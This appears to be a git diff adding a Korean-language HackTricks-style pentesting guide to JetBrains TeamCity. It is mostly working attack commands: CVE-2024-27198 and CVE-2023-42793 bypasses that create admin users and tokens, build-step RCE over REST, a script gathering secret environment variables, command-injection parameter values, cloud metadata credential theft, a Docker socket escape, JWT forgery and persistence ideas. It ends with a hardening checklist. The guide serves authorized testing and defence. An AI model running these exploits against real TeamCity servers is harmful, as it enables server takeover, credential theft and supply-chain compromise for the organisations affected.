diff --git a/src/pentesting-ci-cd/teamcity-security/README.md b/src/pentesting-ci-cd/teamcity-security/README.md new file mode 100644 index 000000000..99ddc3df0 --- /dev/null +++ b/src/pentesting-ci-cd/teamcity-security/README.md @@ -0,0 +1,650 @@ +# TeamCity Security + +{{#include ../../banners/hacktricks-training.md}} + +## Basic Information + +[TeamCity](https://www.jetbrains.com/teamcity/)는 JetBrains의 CI/CD 서버입니다. **TeamCity Cloud**로 또는 **TeamCity On-Premises**로 실행할 수 있습니다. 실제 환경에서는 on-premises 제품이 가장 흥미로운 대상인데, 일반적으로 private repositories, deployment credentials, internal networks, cloud build agents에 연결되어 있기 때문입니다. + +TeamCity installation은 보통 다음으로 구성됩니다: + +- **TeamCity server**: Java web application 및 scheduler입니다. users, permissions, projects, build configurations, VCS roots, tokens, artifacts metadata, build history, integrations를 저장합니다. 기본 HTTP port는 **8111**입니다. +- **Projects and subprojects**: build configurations, templates, parameters, VCS roots, connections, permissions를 위한 container입니다. +- **Build configurations**: VCS checkout rules, triggers, build steps, agent requirements, artifact rules, snapshot dependencies, artifact dependencies를 정의하는 jobs입니다. +- **Pipelines / Kotlin DSL / XML settings**: build configuration은 UI에서 관리하거나 VCS에 저장할 수 있으며, 일반적으로 Kotlin DSL을 사용하는 `.teamcity/` directory에 저장됩니다. +- **Build agents**: server를 poll하고, code를 checkout하며, build settings와 secrets를 받고, build steps를 실행하고, logs/artifacts를 server로 다시 publish하는 worker machines입니다. agent는 보통 한 번에 하나의 build만 실행하며 physical, VM, container, 또는 cloud-launched일 수 있습니다. +- **Agent pools**: 어떤 projects가 어떤 agents에서 실행될 수 있는지 제한하는 방법입니다. public/untrusted builds와 production deployment builds가 공존할 때 특히 중요합니다. +- **VCS roots and connections**: GitHub, GitLab, Bitbucket, Azure DevOps, Perforce, Subversion, 그리고 다른 repository integrations입니다. 이들은 종종 PATs, refreshable tokens, SSH keys, 또는 OAuth-backed tokens를 보유합니다. +- **Build parameters**: configurations와 builds에서 사용할 수 있는 값입니다. `env.*` parameters는 environment variables가 되고, `system.*` parameters는 system properties가 되며, password parameters는 masked되지만 build code에서 여전히 사용할 수 있습니다. + +> [!WARNING] +> TeamCity itself는 builds에서 실행되는 code를 변경할 수 있는 users가 build-agent OS user가 할 수 있는 일을 할 수 있고, agent의 resources에 접근할 수 있으며, 자신들의 builds가 실행되는 configurations의 settings를 retrieve할 수 있고, 잠재적으로 같은 agent를 공유하는 다른 projects에 영향을 줄 수 있다고 문서화합니다. + +## Interesting Ports, Paths & Files +```bash +# Common TeamCity web ports +8111/tcp # Default HTTP TeamCity server +80/tcp # Often reverse-proxied TeamCity +443/tcp # HTTPS reverse proxy or configured HTTPS +``` +흥미로운 URLs: +```text +/login.html +/app/rest/server +/app/rest/swagger.json +/guestAuth/app/rest/server +/guestAuth/repository/download//:id/ +/admin/admin.html +/admin/diagnostic.jsp +/admin/agents.html +/admin/plugins.html +``` +서버 compromise 후 흥미로운 local paths: +```text +# Linux defaults seen in common installs +/opt/TeamCity/logs/ +/opt/TeamCity/webapps/ROOT/plugins/ +/home/teamcity/.BuildServer/config/ +/home/teamcity/.BuildServer/plugins/ +/home/teamcity/.BuildServer/system/artifacts/ +/home/teamcity/.BuildServer/system/buildserver.data + +# Windows defaults seen in common installs +C:\TeamCity\logs\ +C:\TeamCity\webapps\ROOT\plugins\ +C:\ProgramData\JetBrains\TeamCity\config\ +C:\ProgramData\JetBrains\TeamCity\plugins\ +C:\ProgramData\JetBrains\TeamCity\system\artifacts\ +C:\ProgramData\JetBrains\TeamCity\system\buildserver.data +``` +agent compromise 후 흥미로운 local paths: +```text +/conf/buildAgent.properties +/logs/ +/work/ +/temp/ +/system/ +~/.git-credentials +~/.ssh/ +~/.docker/config.json +~/.npmrc +~/.m2/settings.xml +~/.aws/ +~/.config/gcloud/ +``` +## TeamCity Permissions To Care About + +정확한 permission model은 사용자 정의할 수 있지만, 중요한 기본 role은 다음과 같습니다: + +- **System Administrator**: 서버를 완전히 제어. admin이 server settings를 변경하고, plugin을 업로드하고, diagnostics에 접근할 수 있으므로 server OS compromise가 가능하다고 가정하라. +- **Project Administrator**: project를 제어하며, 보통 해당 project 내에서 build configuration, parameters, VCS roots, features, triggers, agent requirements를 생성/편집할 수 있다. +- **Project Developer**: 보통 configuration settings를 보고, build를 실행하고, build results와 상호작용할 수 있다. configuration settings와 runtime data가 종종 secrets를 드러내므로 여전히 민감할 수 있다. +- **Project Viewer / Guest**: read-only access만 있어도 build logs, artifacts, project names, branch names, internal hostnames, dependency paths가 노출될 수 있다. + +> [!TIP] +> During a pentest, "low-privileged TeamCity user"에서 멈추지 마라. 해당 user가 custom builds를 실행할 수 있는지, branches를 선택할 수 있는지, parameters를 customize할 수 있는지, settings를 볼 수 있는지, runtime parameters를 볼 수 있는지, artifacts를 다운로드할 수 있는지, 또는 deployment configurations를 trigger할 수 있는지 확인하라. + +## Initial Enumeration + +### Fingerprint Exposed TeamCity +```bash +export TC="http://teamcity.example.com:8111" + +curl -i "$TC/login.html" +curl -i "$TC/app/rest/server" +curl -i "$TC/guestAuth/app/rest/server" +curl -s "$TC/app/rest/swagger.json" | head +``` +유용한 징후: + +- `TeamCity-Node-Id` HTTP header. +- 로그인 페이지 branding. +- `/app/rest/server`는 authentication이 필요할 때 `401`을 반환합니다. +- guest access가 enabled되어 있으면 `/guestAuth/app/rest/server`가 작동합니다. + +### REST API Enumeration With A Token + +TeamCity REST API는 일반적으로 `Authorization: Bearer `을 사용합니다. +```bash +export TC="https://teamcity.example.com" +export TCTOKEN="TC..." + +alias tcurl='curl -sk -H "Authorization: Bearer $TCTOKEN" -H "Accept: application/json"' + +tcurl "$TC/app/rest/server" +tcurl "$TC/app/rest/users/current" +tcurl "$TC/app/rest/users/current/roles" +tcurl "$TC/app/rest/projects?fields=project(id,name,parentProjectId,href,webUrl)" +tcurl "$TC/app/rest/buildTypes?fields=buildType(id,name,projectId,paused,webUrl)" +tcurl "$TC/app/rest/vcs-roots?fields=vcs-root(id,name,vcsName,project(id,name),properties(property(name,value)))" +tcurl "$TC/app/rest/agents?fields=agent(id,name,type,connected,enabled,authorized,ip,href,pool(name),properties(property(name,value)))" +tcurl "$TC/app/rest/agentPools" +tcurl "$TC/app/rest/builds?locator=count:20&fields=build(id,number,status,state,branchName,buildTypeId,webUrl)" +``` +빌드 configuration의 경우: +```bash +export BT="id:Project_Build" + +tcurl "$TC/app/rest/buildTypes/$BT" +tcurl "$TC/app/rest/buildTypes/$BT/parameters" +tcurl "$TC/app/rest/buildTypes/$BT/steps" +tcurl "$TC/app/rest/buildTypes/$BT/features" +tcurl "$TC/app/rest/buildTypes/$BT/triggers" +tcurl "$TC/app/rest/buildTypes/$BT/agent-requirements" +tcurl "$TC/app/rest/buildTypes/$BT/snapshot-dependencies" +tcurl "$TC/app/rest/buildTypes/$BT/artifact-dependencies" +tcurl "$TC/app/rest/buildTypes/$BT/compatibleAgents" +``` +### Guest Access Abuse + +guest login이 활성화되어 있으면, TeamCity는 `/guestAuth/` URLs를 지원합니다. 기본적으로 guest users는 변경되지 않는 한 모든 projects에 대해 Project Viewer role을 가집니다. +```bash +curl -sk "$TC/guestAuth/app/rest/projects" +curl -sk "$TC/guestAuth/app/rest/buildTypes" +curl -sk "$TC/guestAuth/app/rest/builds?locator=count:50" +``` +찾아보세요: + +- 실수로 secrets가 출력된 Build logs. +- `.env`, packages, SBOMs, deployment manifests, Terraform plans, kubeconfigs, test reports, database dumps, 또는 internal URLs를 포함한 Artifacts. +- cloud account names, production systems, regions, 또는 internal service names를 드러내는 Project/build names. +- 권한 있는 developers 또는 service users를 식별하는 Commit metadata. + +Example artifact download format: +```bash +curl -O "$TC/guestAuth/repository/download/Project_Build/12345:id/artifact.zip" +``` +## 공격 + +### Unauthenticated Takeover: CVE-2024-27198 / CVE-2024-27199 + +TeamCity On-Premises versions **through 2023.11.3** were affected by two authentication bypasses fixed in **2023.11.4**. CVE-2024-27198 is the critical one because it can expose authenticated REST endpoints to unauthenticated attackers. + +우회 여부를 무해한 authenticated endpoint로 fingerprint 하라: +```bash +curl -ik "$TC/hax?jsp=/app/rest/server;.jsp" +``` +서버 메타데이터가 인증 없이 반환되면, 해당 인스턴스는 취약합니다. 일반적인 takeover 경로는 admin user를 생성하거나 기존 admin user에 대한 token을 발급하는 것입니다: +```bash +curl -ik "$TC/hax?jsp=/app/rest/users;.jsp" \ +-X POST \ +-H "Content-Type: application/json" \ +--data '{"username":"tc-redteam","password":"ChangeMe-12345!","email":"tc-redteam@example.com","roles":{"role":[{"roleId":"SYSTEM_ADMIN","scope":"g"}]}}' +``` + +```bash +curl -ik "$TC/hax?jsp=/app/rest/users/id:1/tokens/RedTeamToken;.jsp" -X POST +``` +이후에는 인증된 TeamCity 관리자처럼 계속 진행하세요: 프로젝트를 열거하고, secret을 수집하고, agent에서 build를 실행하고, artifact를 검사하고, agent에서 cloud access를 확인하세요. + +### Unauthenticated Takeover: CVE-2023-42793 + +TeamCity On-Premises versions before **2023.05.4** were affected by CVE-2023-42793. The practical impact was unauthenticated administrator-level access and RCE through TeamCity APIs. The widely abused path involved token creation through a route ending in `/RPC2`. +```bash +curl -ik -X POST "$TC/app/rest/users/id:1/tokens/RPC2" +``` +사고 영향을 평가하는 경우, 노출 기간 전후로 suspicious token 생성, admin account 생성, plugin 업로드/삭제 이벤트, 그리고 process execution을 확인하세요. + +### Admin RCE By Uploading A Plugin + +TeamCity server plugins는 서버 기능을 확장하는 ZIP packages입니다. System Administrator는 UI에서 **Administration -> Plugins** 아래에 plugin을 업로드하고, 로드한 뒤, server-side Java code를 실행할 수 있습니다. + +Abuse cases: + +- 악성 plugin을 업로드해 **TeamCity server**에서 직접 RCE를 수행합니다. agent만이 아닙니다. +- plugin load/delete를 짧게 유지되는 execution path로 사용합니다. +- 내부 integration처럼 보이는 plugin을 통해 persistence를 구축합니다. + +확인할 evidence: +```text +teamcity-activities.log +teamcity-server.log +/plugins/ +/config/disabled-plugins.xml +/system/caches/plugins.unpacked/ +/webapps/ROOT/plugins/ +``` +### RCE By Creating Or Modifying Build Steps + +빌드 구성을 생성하거나 수정할 수 있다면, TeamCity agent는 command execution 대상입니다. **Command Line / Script** runner가 가장 직접적인 옵션입니다. + +REST를 통해 command line step을 추가하세요: +```bash +curl -sk "$TC/app/rest/buildTypes/$BT/steps" \ +-X POST \ +-H "Authorization: Bearer $TCTOKEN" \ +-H "Content-Type: application/json" \ +-H "Accept: application/json" \ +--data '{ +"name": "diagnostics", +"type": "simpleRunner", +"properties": { +"property": [ +{"name": "script.content", "value": "id; uname -a; env | sort"} +] +} +}' +``` +빌드를 시작하세요: +```bash +curl -sk "$TC/app/rest/buildQueue" \ +-X POST \ +-H "Authorization: Bearer $TCTOKEN" \ +-H "Content-Type: application/json" \ +-H "Accept: application/json" \ +--data '{"buildType":{"id":"Project_Build"}}' +``` +agent에서 유용한 첫 명령어: +```bash +id +hostname +pwd +env | sort +mount +ip addr || ifconfig +ip route || route print +find "$PWD" -maxdepth 3 -type f -name "*.env" -o -name "settings.xml" -o -name "config.json" +``` +Windows agents: +```powershell +whoami /all +hostname +Get-ChildItem Env: | Sort-Object Name +ipconfig /all +route print +Get-ChildItem -Recurse -Force $env:USERPROFILE\.ssh,$env:USERPROFILE\.aws -ErrorAction SilentlyContinue +``` +### 더 흥미로운 Agent 타겟팅 + +Build configuration은 agent requirements를 가질 수 있고, custom build는 특정 agent를 선택할 수 있게 할 수도 있습니다. 이는 한 agent가 production network reachability, Docker access, mobile signing keys, cloud roles, 또는 deployment tooling을 가지고 있을 때 중요합니다. + +호환되는 agent를 열거하십시오: +```bash +tcurl "$TC/app/rest/buildTypes/$BT/compatibleAgents?fields=agent(id,name,ip,pool(name),properties(property(name,value)))" +``` +권한이 허용하는 경우 특정 agent에서 build를 큐에 넣으세요: +```bash +curl -sk "$TC/app/rest/buildQueue" \ +-X POST \ +-H "Authorization: Bearer $TCTOKEN" \ +-H "Content-Type: application/json" \ +-H "Accept: application/json" \ +--data '{"buildType":{"id":"Project_Build"},"agent":{"id":"42"}}' +``` +또는 valuable agent class를 강제하기 위해 agent requirement를 추가하세요: +```bash +curl -sk "$TC/app/rest/buildTypes/$BT/agent-requirements" \ +-X POST \ +-H "Authorization: Bearer $TCTOKEN" \ +-H "Content-Type: application/json" \ +-H "Accept: application/json" \ +--data '{ +"type":"equals", +"properties":{"property":[ +{"name":"property-name","value":"teamcity.agent.name"}, +{"name":"property-value","value":"prod-deploy-agent-01"} +]} +}' +``` +### Build Parameters 및 Password Parameters 덤프 + +Parameters는 projects와 templates에서 상속되므로, project 및 build configuration 범위를 모두 열거하라: +```bash +tcurl "$TC/app/rest/projects/id:Project/parameters" +tcurl "$TC/app/rest/buildTypes/id:Project_Build/parameters" +``` +흥미로운 이름: +```text +env.AWS_ACCESS_KEY_ID +env.AWS_SECRET_ACCESS_KEY +env.GITHUB_TOKEN +env.NPM_TOKEN +env.DOCKER_AUTH_CONFIG +system.deploy.password +system.oauth.clientSecret +vcsroot..password +teamcity.configuration.properties.file +``` +중요한 caveats: + +- Password parameters는 UI/logs에서 masked되지만, 이를 정당하게 받는 모든 code는 이를 exfiltrate하거나 transform할 수 있다. +- Project administrators는 종종 settings access를 통해 raw parameter values를 retrieve할 수 있다. +- TeamCity security notes는 build code를 modify할 수 있는 users가 해당 build에서 사용된 password values를 retrieve할 수 있다고 경고한다. +- versioned settings가 VCS에 stored되어 있으면, settings repo에 access가 있는 users는 server encryption configuration과 key exposure에 따라 scrambled/encrypted settings에서 values를 recover할 수 있다. + +Build-step exfil pattern: +```bash +python3 - <<'PY' +import base64, os, json +interesting = {k:v for k,v in os.environ.items() if any(x in k.upper() for x in ["TOKEN","SECRET","PASSWORD","KEY","AWS","AZURE","GOOGLE","GITHUB","NPM","DOCKER"])} +print(base64.b64encode(json.dumps(interesting).encode()).decode()) +PY +``` +### Poison Versioned Settings / Kotlin DSL + +versioned settings가 활성화되어 있고 `.teamcity/`에 대해 TeamCity가 신뢰하는 branch/repository에 쓸 수 있다면, pipeline definition 자체를 수정할 수 있습니다. + +일반적인 target: + +- build configuration에 새로운 `script` step을 추가. +- `agentRequirements`를 변경해 더 privileged agent에서 실행. +- 민감한 파일을 publish하도록 artifact rules를 추가. +- 다른 build에서 data를 가져오도록 snapshot/artifact dependencies를 추가. +- persistence를 위해 VCS triggers를 추가. +- VCS roots 또는 checkout rules를 변경. + +Minimal Kotlin DSL malicious step: +```kotlin +import jetbrains.buildServer.configs.kotlin.* +import jetbrains.buildServer.configs.kotlin.buildSteps.script + +object Build : BuildType({ +name = "Build" +steps { +script { +name = "diagnostics" +scriptContent = "id; env | base64" +} +} +}) +``` +> [!CAUTION] +> 이는 TeamCity에서 가장 영향이 큰 misconfiguration 중 하나입니다: build settings를 application source와 같은 repository에 저장하면, 그 source branch를 수정할 수 있는 사람은 누구나 CI/CD control plane을 수정할 수 있을 수 있습니다. + +### Pull Request / Untrusted Build Abuse + +TeamCity는 GitHub, GitLab, Bitbucket, Azure DevOps, 그리고 JetBrains Space의 pull requests를 build할 수 있습니다. public repository가 **Everybody**에서 pull requests를 build하도록 설정되어 있으면, 외부 attacker가 PR을 열어서 TeamCity agent에서 code execution을 얻을 수 있습니다. + +다음을 확인하세요: + +- 허용적인 author filter가 있는 Pull Requests build feature. +- `refs/pull/*` 같은 pull request branches를 매칭하는 VCS triggers. +- 누락되었거나 비활성화된 **Untrusted Builds** review. +- trusted/prod builds와 같은 pools에서 실행되는 PR builds. +- PR builds에서 사용할 수 있는 password parameters 또는 deployment credentials. +- PR branches에서 로드되는 versioned settings. + +untrusted code에서의 abuse primitives: +```bash +env | sort +echo "##teamcity[publishArtifacts '$PWD => workspace.zip']" +echo "##teamcity[setParameter name='env.PATH' value='/tmp/bin:%env.PATH%']" +``` +또한 PR에서 제어되는 값을 보간하는 빌드 스크립트도 검토하세요: +```text +%teamcity.pullRequest.title% +%teamcity.pullRequest.source.branch% +%teamcity.pullRequest.target.branch% +%teamcity.build.branch% +``` +shell, PowerShell, SQL, Docker tags, package names, 또는 deployment arguments에 해당 값이 quoting/validation 없이 삽입되면, command injection 및 logic manipulation을 test하세요. + +### Run Custom Build Parameter Injection + +build configuration을 편집할 수 없는 users도 modified branch, agent, 또는 parameter values로 custom builds를 실행할 수 있습니다. +```bash +curl -sk "$TC/app/rest/buildQueue" \ +-X POST \ +-H "Authorization: Bearer $TCTOKEN" \ +-H "Content-Type: application/json" \ +-H "Accept: application/json" \ +--data '{ +"buildType":{"id":"Project_Build"}, +"branchName":"refs/heads/attacker-controlled-branch", +"properties":{"property":[ +{"name":"env.DEPLOY_ENV","value":"prod; id #"}, +{"name":"system.release.version","value":"1.2.3$(id)"} +]} +}' +``` +다음과 같은 스크립트를 찾아보세요: +```bash +deploy --env %env.DEPLOY_ENV% +docker build -t registry/app:%system.release.version% . +git checkout %teamcity.build.branch% +``` +### Service Message Abuse + +TeamCity는 build step에서 출력되는 특별히 형식화된 output을 파싱한다. 공격자가 제어하는 code가 build에서 실행되면, 이후 step과 server가 build를 이해하는 방식에 영향을 줄 수 있다. + +유용한 message: +```bash +# Publish arbitrary files as artifacts +echo "##teamcity[publishArtifacts '/etc/passwd => loot/system.txt']" + +# Modify parameters for following steps +echo "##teamcity[setParameter name='env.NEXT_STEP_FLAG' value='attacker-controlled']" + +# Poison the build number displayed/published downstream +echo "##teamcity[buildNumber '9999-backdoored']" + +# Hide noisy output in collapsed blocks +echo "##teamcity[blockOpened name='integration tests']" +echo "##teamcity[blockClosed name='integration tests']" +``` +downstream release jobs가 upstream job의 build status, build number, tags, artifact names, 또는 output parameters를 신뢰할 때 이 상황은 더 위험해집니다. + +### Artifact & Dependency Poisoning + +TeamCity build chain은 종종 build 간에 artifacts를 이동합니다. 권한이 있는 downstream build가 소비하는 artifacts를 publishing하는 upstream build를 영향을 줄 수 있다면, 다음을 poison해 보세요: + +- JAR/WAR/NuGet/npm/PyPI packages. +- Docker build contexts. +- Terraform plan files. +- Helm charts and Kubernetes manifests. +- SBOM/provenance files. +- 이후 단계에서 소비되는 test fixtures 또는 generated code. + +build에서 controlled artifact를 publish합니다: +```bash +mkdir -p out +cp payload.jar out/app.jar +echo "##teamcity[publishArtifacts 'out/** => release.zip']" +``` +그런 다음 artifact dependencies를 inspect하세요: +```bash +tcurl "$TC/app/rest/buildTypes/$BT/artifact-dependencies" +tcurl "$TC/app/rest/buildTypes/$BT/snapshot-dependencies" +``` +### Agent Cloud Pivoting + +If the agent runs in AWS, Azure, GCP, Kubernetes, or an internal VM network, the build is a pivot point. + +AWS IMDS: +```bash +TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") +curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ +ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) +curl -s -H "X-aws-ec2-metadata-token: $TOKEN" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" +``` +IMDSv1가 허용된 경우 대체: +```bash +ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/) +curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" +``` +Azure IMDS: +```bash +curl -s -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-02-01" +curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" +``` +GCP metadata: +```bash +curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/" +SA=$(curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/") +curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${SA}token" +``` +Kubernetes: +```bash +ls -la /var/run/secrets/kubernetes.io/serviceaccount/ +cat /var/run/secrets/kubernetes.io/serviceaccount/token +cat /var/run/secrets/kubernetes.io/serviceaccount/namespace +``` +Docker escape checks: +```bash +ls -la /var/run/docker.sock +docker ps +docker run --rm -it -v /:/host alpine chroot /host sh +``` +### 내부 서비스로 Pivot + +Build agents는 종종 package registries, artifact stores, deployment APIs, databases, 그리고 internal admin panels에 접근할 수 있습니다. +```bash +for h in vault.service.consul nexus.internal registry.internal kube-api.internal grafana.internal; do +echo "### $h" +curl -sk --connect-timeout 2 "https://$h/" | head +done +``` +TeamCity parameters, cloud secret stores, artifacts, 또는 repo files에서 공유 JWT/HMAC secret을 훔친 후, weak internal services용 token을 forge하세요: +```python +import jwt, time +secret = "leaked-hs256-secret" +payload = {"sub":"admin","role":"admin","iat":int(time.time()),"exp":int(time.time())+3600} +print(jwt.encode(payload, secret, algorithm="HS256")) +``` +### VCS Root & Repository Credential Abuse + +VCS roots and connections are often more valuable than TeamCity itself. + +Look for: + +- HTTP(S) VCS roots using username/password or PAT. +- SSH private keys uploaded to TeamCity. +- GitHub App / OAuth / refreshable token connections. +- Commit Status Publisher tokens. +- Pull Request feature tokens. +- Build steps that write to repositories, tags, releases, packages, or workflow files. + +REST enumeration: +```bash +tcurl "$TC/app/rest/vcs-roots?fields=vcs-root(id,name,vcsName,project(id,name),properties(property(name,value)))" +tcurl "$TC/app/rest/projects/id:Project/features" +``` +사후 침해 영향: + +- 저장소에 악성 commit/tag를 푸시합니다. +- release tag를 이동합니다. +- 악성 package 버전을 publish합니다. +- tester가 원래 access 권한이 없던 private repo를 읽습니다. +- GitHub Actions 같은 다른 platform을 위한 CI/CD config를 추가합니다. +- service identity에 write access가 있으면 이를 사용해 PR을 open/merge합니다. + +### Debug & Diagnostics Endpoints + +일부 위험한 debug 기능은 admin permissions와 internal properties로 보호됩니다. 활성화되면 TeamCity database 또는 process execution이 노출될 수 있습니다. + +예시 database query setting: +```properties +rest.debug.database.allow.query.prefixes=select +``` +이것이 활성화되면, admin token이 내부 데이터를 query할 수 있습니다: +```bash +curl -sk "$TC/app/rest/debug/database/query/SELECT+ID,USERNAME,PASSWORD+FROM+USERS" \ +-H "Authorization: Bearer $TCTOKEN" +``` +또한 `/app/rest/debug/processes`가 your role에서 접근 가능한지 확인하세요. 활성화된 debug endpoint는 모두 잠재적인 direct server compromise path로 간주하세요. + +### Agent-Server Trust & Rogue Agent Angles + +Agents는 server를 폴링하고 build settings, repository sources, access credentials/keys, build logs, artifact data를 받습니다. agent-to-server communication이 plain HTTP이거나 attacker가 network path를 제어하면, secrets와 source code가 노출될 수 있습니다. + +Check: +```bash +grep -i '^serverUrl=' /conf/buildAgent.properties +grep -i 'authorizationToken\|name=' /conf/buildAgent.properties +``` +악용 경로: + +- 하나의 agent를 compromise하고, agents가 재사용되는 경우 다른 프로젝트의 work directories를 검사한다. +- clean checkout이 강제되지 않으면, 나중 builds를 위해 checked-out source 또는 cached dependencies를 수정한다. +- agent authorization token/configuration을 훔친다. +- project agents를 authorize할 권한이 있거나 admins가 새 agents를 자동으로 authorize하는 경우 rogue agent를 등록한다. +- compromised host에서 기존 agent를 impersonate한다. + +### Logs, Artifacts & Data Directory As Secrets + +TeamCity security notes는 TeamCity Data Directory, server logs, 또는 build artifacts에 대한 read access가 secrets를 노출하거나 administrator escalation으로 이어질 수 있다고 명시적으로 경고한다. + +특정 escalation path 하나는 **Super User Access**이다: TeamCity는 `teamcity-server.log`에 기록된 token으로 system administrator로 login하는 것을 허용할 수 있다. logs가 약하게 보호되는 log platform으로 전달되거나 non-admin OS users가 읽을 수 있다면, super-user tokens를 검색하라. + +Hunt: +```bash +grep -RaiE "token|secret|password|authorization: bearer|aws_access_key|BEGIN .*PRIVATE KEY" /opt/TeamCity/logs 2>/dev/null +grep -RaiE "token|secret|password|authorization: bearer|aws_access_key|BEGIN .*PRIVATE KEY" ~/.BuildServer/config ~/.BuildServer/system/artifacts 2>/dev/null +``` +Build logs에는 종종 다음이 포함됩니다: + +- 확장된 command line. +- arguments에 credentials가 포함된 실패한 deployment commands. +- Docker login output. +- npm/pip/maven publishing errors. +- Cloud CLI debug output. +- 내부 service URLs. + +### Persistence Ideas + +허가된 red team assessment 동안 유용한 persistence techniques: + +- service/admin user 아래에 그럴듯한 이름의 access token 생성. +- 거의 검토되지 않는 configuration에 low-noise build trigger 추가. +- 기존 deployment step에서 사용되는 project parameter 추가. +- 나중에 다시 활성화할 수 있는 hidden 또는 disabled build step 추가. +- 정당한 project 아래에 새로운 VCS root 또는 connection 추가. +- 내부 integration처럼 보이는 plugin 추가. +- builds를 attacker-controlled infrastructure로 라우팅하는 새로운 agent pool / cloud profile / agent requirement 추가. +- settings repository의 Kotlin DSL 수정. + +TeamCity compromise 이후 defenders가 검토해야 할 사항: +```text +teamcity-activities.log +teamcity-server.log +teamcity-javaLogging*.log +User access tokens +Recently created users/groups/roles +Plugin upload/load/delete events +Build configuration diffs +Versioned settings commits +VCS root credential changes +Agent authorization changes +Build triggers and schedules +Suspicious artifact publications +``` +## Hardening Checklist + +- TeamCity On-Premises를 완전히 최신 상태로 유지하세요; 오래된 auth bypasses가 있는 노출된 서버는 고가치 대상입니다. +- 강력한 access controls, SSO/MFA, network filtering, 빠른 patching이 갖춰져 있지 않다면 TeamCity를 인터넷에 직접 노출하지 마세요. +- production 서버에서는 Guest Login을 비활성화하세요. +- 서버 logs가 내보내지거나 널리 읽을 수 있다면 `teamcity.superUser.disable=true`를 사용해 Super User Access를 비활성화하세요. +- 광범위한 Project Administrator 권한 부여 대신 최소 권한 그룹과 custom roles를 사용하세요. +- REST automation에는 수명이 짧은 scoped tokens를 사용하세요. +- versioned settings를 사용한다면 build settings를 별도의 보호된 repository에 두세요. +- fork에서 오는 PR builds는 hostile하다고 간주하세요; Untrusted Builds, manual approval, 격리된 disposable agents를 사용하세요. +- 전용 agent pools로 public/untrusted builds와 deployment builds를 분리하세요. +- 민감한 builds에는 disposable agents를 사용하고 clean checkout을 강제하세요. +- parameters에 오래 지속되는 cloud/static credentials를 두지 마세요; 가능하면 cloud OIDC/workload identity를 선호하세요. +- AWS agents에서는 IMDSv2를 요구하고 containers에서 metadata access를 제한하세요. +- agents를 낮은 권한의 OS users로 실행하고, 엄격히 필요한 경우가 아니면 Docker socket 마운트를 피하세요. +- agent-to-server traffic에는 HTTPS를 사용하세요. +- plugin 설치는 신뢰된 admins로 제한하고 plugin 변경 사항을 검토하세요. +- server logs와 TeamCity Data Directory는 TeamCity server OS account와 admins만 읽을 수 있도록 하세요. +- 기본 scrambling mechanism에 의존하지 말고 secure values에는 custom encryption key를 사용하세요. +- 조사 목적으로 build history/logs를 보존하고 builds 삭제 권한을 제한하세요. + +## References + +- [JetBrains - TeamCity Build Agents](https://www.jetbrains.com/help/teamcity/build-agent.html) +- [JetBrains - TeamCity REST API](https://www.jetbrains.com/help/teamcity/rest/teamcity-rest-api-documentation.html) +- [JetBrains - Manage Build Configuration Details via REST](https://www.jetbrains.com/help/teamcity/rest/manage-build-configuration-details.html) +- [JetBrains - Build Parameters](https://www.jetbrains.com/help/teamcity/configuring-build-parameters.html) +- [JetBrains - Typed / Password Parameters](https://www.jetbrains.com/help/teamcity/typed-parameters.html) +- [JetBrains - Security Notes](https://www.jetbrains.com/help/teamcity/security-notes.html) +- [JetBrains - Pull Requests](https://www.jetbrains.com/help/teamcity/pull-requests.html) +- [JetBrains - Untrusted Builds](https://www.jetbrains.com/help/teamcity/untrusted-builds.html) +- [JetBrains - Service Messages](https://www.jetbrains.com/help/teamcity/service-messages.html) +- [JetBrains - TeamCity Data Directory](https://www.jetbrains.com/help/teamcity/teamcity-data-directory.html) +- [JetBrains - Installing Additional Plugins](https://www.jetbrains.com/help/teamcity/installing-additional-plugins.html) +- [JetBrains - CVE-2024-27198 and CVE-2024-27199 advisory](https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/) +- [Rapid7 - CVE-2024-27198 and CVE-2024-27199 technical analysis](https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/) +- [SonarSource - CVE-2023-42793 TeamCity vulnerability](https://www.sonarsource.com/blog/teamcity-vulnerability) +- [CISA - SVR actors exploiting TeamCity CVE-2023-42793](https://www.cisa.gov/news-events/alerts/2023/12/13/cisa-and-partners-release-advisory-russian-svr-affiliated-cyber-actors-exploiting-cve-2023-42793) + +{{#include ../../banners/hacktricks-training.md}}